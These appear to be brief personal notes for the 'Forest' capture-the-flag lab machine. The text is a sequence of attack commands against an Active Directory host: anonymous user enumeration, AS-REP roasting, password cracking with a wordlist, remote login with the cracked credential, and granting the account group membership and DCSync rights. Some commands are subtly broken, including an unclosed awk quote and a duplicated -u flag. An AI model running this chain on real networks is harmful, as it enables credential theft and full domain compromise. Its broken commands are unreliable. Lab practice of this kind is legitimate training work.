Forest

rpcclient -U '' 10.10.10.161 -c "enumdomusers" | tr '[]' ' '| awk '{print $2} > users.txt

impacket-GetNPUsers forest.htb/ -no-pass -usersfile users.txt

john -w=/usr/share/wordlists/rockyou.txt hash --format=krb5asrep

evil-winrm -i 10.10.10.161 -u USER -u svc-alfresco -p 's3rvice'

bloodyAD --host 10.10.10.161 -d forest.htb -u svc-alfresco -p s3rvice  add groupMember 'Exchange Windows Permissions' svc-alfresco

Darse permisos de DCsync:

bloodyAD -d forest.htb --host 10.10.10.161 -u svc-alfresco -p s3rvice add dcsync svc-alfresco